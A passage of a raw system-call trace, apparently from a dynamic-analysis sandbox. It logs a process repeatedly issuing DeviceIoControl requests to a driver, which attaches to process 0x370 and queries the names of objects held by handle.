lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.366] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.366] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.366] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.366] PsAcquireProcessExitSynchronization () returned 0x0 [0113.366] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.366] ObReferenceObjectByHandle (in: Handle=0x7a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800343b9c0, HandleInformation=0x0) returned 0x0 [0113.366] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.366] PsReleaseProcessExitSynchronization () returned 0x2 [0113.366] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.367] ObQueryNameString (in: Object=0xfffffa800343b9c0, ObjectNameInfo=0xfffffa80020c6044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020c6044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.367] ObfDereferenceObject (Object=0xfffffa800343b9c0) returned 0x1 [0113.367] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.367] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.367] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.367] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0113.367] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.367] PsAcquireProcessExitSynchronization () returned 0x0 [0113.367] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.367] ObReferenceObjectByHandle (in: Handle=0x904, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003447950, HandleInformation=0x0) returned 0x0 [0113.367] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.367] PsReleaseProcessExitSynchronization () returned 0x2 [0113.367] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.367] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.367] ObfDereferenceObject (Object=0xfffffa8003447950) returned 0x12 [0113.367] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.367] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.367] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.367] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0113.367] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.367] PsAcquireProcessExitSynchronization () returned 0x0 [0113.367] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.367] ObReferenceObjectByHandle (in: Handle=0x908, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800344bbc0, HandleInformation=0x0) returned 0x0 [0113.367] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.367] PsReleaseProcessExitSynchronization () returned 0x2 [0113.367] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.367] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020d1044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020d1044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.367] ObfDereferenceObject (Object=0xfffffa800344bbc0) returned 0x12 [0113.367] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.367] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.367] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.367] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0113.367] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.368] PsAcquireProcessExitSynchronization () returned 0x0 [0113.368] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.368] ObReferenceObjectByHandle (in: Handle=0x90c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800344b740, HandleInformation=0x0) returned 0x0 [0113.368] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.368] PsReleaseProcessExitSynchronization () returned 0x2 [0113.368] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.368] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.368] ObfDereferenceObject (Object=0xfffffa800344b740) returned 0x12 [0113.368] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.368] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.368] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.368] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0113.368] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.368] PsAcquireProcessExitSynchronization () returned 0x0 [0113.368] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.368] ObReferenceObjectByHandle (in: Handle=0x910, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f80070, HandleInformation=0x0) returned 0x0 [0113.368] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.368] PsReleaseProcessExitSynchronization () returned 0x2 [0113.368] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.368] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.368] ObfDereferenceObject (Object=0xfffffa8002f80070) returned 0xa [0113.368] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.368] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.368] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.368] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0113.368] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.368] PsAcquireProcessExitSynchronization () returned 0x0 [0113.368] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.368] ObReferenceObjectByHandle (in: Handle=0x914, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f80c00, HandleInformation=0x0) returned 0x0 [0113.368] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.368] PsReleaseProcessExitSynchronization () returned 0x2 [0113.368] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.368] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.369] ObfDereferenceObject (Object=0xfffffa8002f80c00) returned 0xe [0113.369] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.369] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.369] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.369] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0113.369] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.369] PsAcquireProcessExitSynchronization () returned 0x0 [0113.369] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.369] ObReferenceObjectByHandle (in: Handle=0x93c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0016c4d40, HandleInformation=0x0) returned 0x0 [0113.369] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.369] PsReleaseProcessExitSynchronization () returned 0x2 [0113.369] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.369] ObQueryNameString (in: Object=0xfffff8a0016c4d40, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.369] ObfDereferenceObject (Object=0xfffff8a0016c4d40) returned 0x4 [0113.369] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.369] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.369] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.369] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0113.369] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.369] PsAcquireProcessExitSynchronization () returned 0x0 [0113.369] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.369] ObReferenceObjectByHandle (in: Handle=0x9d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002fbc4d0, HandleInformation=0x0) returned 0x0 [0113.369] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.369] PsReleaseProcessExitSynchronization () returned 0x2 [0113.369] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.369] ObQueryNameString (in: Object=0xfffffa8002fbc4d0, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.369] ObfDereferenceObject (Object=0xfffffa8002fbc4d0) returned 0x1 [0113.369] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.369] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.369] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.369] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0113.369] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.369] PsAcquireProcessExitSynchronization () returned 0x0 [0113.370] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.370] ObReferenceObjectByHandle (in: Handle=0x9d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030b3630, HandleInformation=0x0) returned 0x0 [0113.370] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.370] PsReleaseProcessExitSynchronization () returned 0x2 [0113.370] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.370] ObQueryNameString (in: Object=0xfffffa80030b3630, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.370] ObfDereferenceObject (Object=0xfffffa80030b3630) returned 0x1 [0113.370] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.370] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.370] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.370] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0113.370] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.370] PsAcquireProcessExitSynchronization () returned 0x0 [0113.370] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.370] ObReferenceObjectByHandle (in: Handle=0x9dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80031325c0, HandleInformation=0x0) returned 0x0 [0113.370] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.370] PsReleaseProcessExitSynchronization () returned 0x2 [0113.370] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.370] ObQueryNameString (in: Object=0xfffffa80031325c0, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.370] ObfDereferenceObject (Object=0xfffffa80031325c0) returned 0x1 [0113.370] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.370] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.370] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.370] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0113.370] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.370] PsAcquireProcessExitSynchronization () returned 0x0 [0113.370] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.370] ObReferenceObjectByHandle (in: Handle=0xa28, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a004a24140, HandleInformation=0x0) returned 0x0 [0113.370] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.370] PsReleaseProcessExitSynchronization () returned 0x2 [0113.370] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.370] ObQueryNameString (in: Object=0xfffff8a004a24140, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.370] ObfDereferenceObject (Object=0xfffff8a004a24140) returned 0x3 [0113.370] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.371] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.371] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.371] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0113.371] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.371] PsAcquireProcessExitSynchronization () returned 0x0 [0113.371] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.371] ObReferenceObjectByHandle (in: Handle=0xa44, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80034d7bb0, HandleInformation=0x0) returned 0x0 [0113.371] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.371] PsReleaseProcessExitSynchronization () returned 0x2 [0113.371] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.371] ObQueryNameString (in: Object=0xfffffa80034d7bb0, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.371] ObfDereferenceObject (Object=0xfffffa80034d7bb0) returned 0x2 [0113.371] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.371] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.371] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.371] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0113.371] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.371] PsAcquireProcessExitSynchronization () returned 0x0 [0113.371] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.371] ObReferenceObjectByHandle (in: Handle=0xaac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003aeb2c0, HandleInformation=0x0) returned 0x0 [0113.371] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.371] PsReleaseProcessExitSynchronization () returned 0x2 [0113.371] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.371] ObQueryNameString (in: Object=0xfffffa8003aeb2c0, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.371] ObfDereferenceObject (Object=0xfffffa8003aeb2c0) returned 0x1 [0113.371] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.371] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.371] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.371] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0113.371] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.371] PsAcquireProcessExitSynchronization () returned 0x0 [0113.371] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.371] ObReferenceObjectByHandle (in: Handle=0xbc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001f70ac0, HandleInformation=0x0) returned 0x0 [0113.371] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.371] PsReleaseProcessExitSynchronization () returned 0x2 [0113.372] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.372] ObQueryNameString (in: Object=0xfffffa8001f70ac0, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.372] ObfDereferenceObject (Object=0xfffffa8001f70ac0) returned 0x11 [0113.372] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.372] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.372] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.372] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x6c, lpOverlapped=0x0) returned 1 [0113.372] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.372] PsAcquireProcessExitSynchronization () returned 0x0 [0113.372] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.372] ObReferenceObjectByHandle (in: Handle=0xdf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80018afa70, HandleInformation=0x0) returned 0x0 [0113.372] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.372] PsReleaseProcessExitSynchronization () returned 0x2 [0113.372] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.372] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.372] ObfDereferenceObject (Object=0xfffffa80018afa70) returned 0x21 [0113.372] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.372] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.372] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.372] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0113.372] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 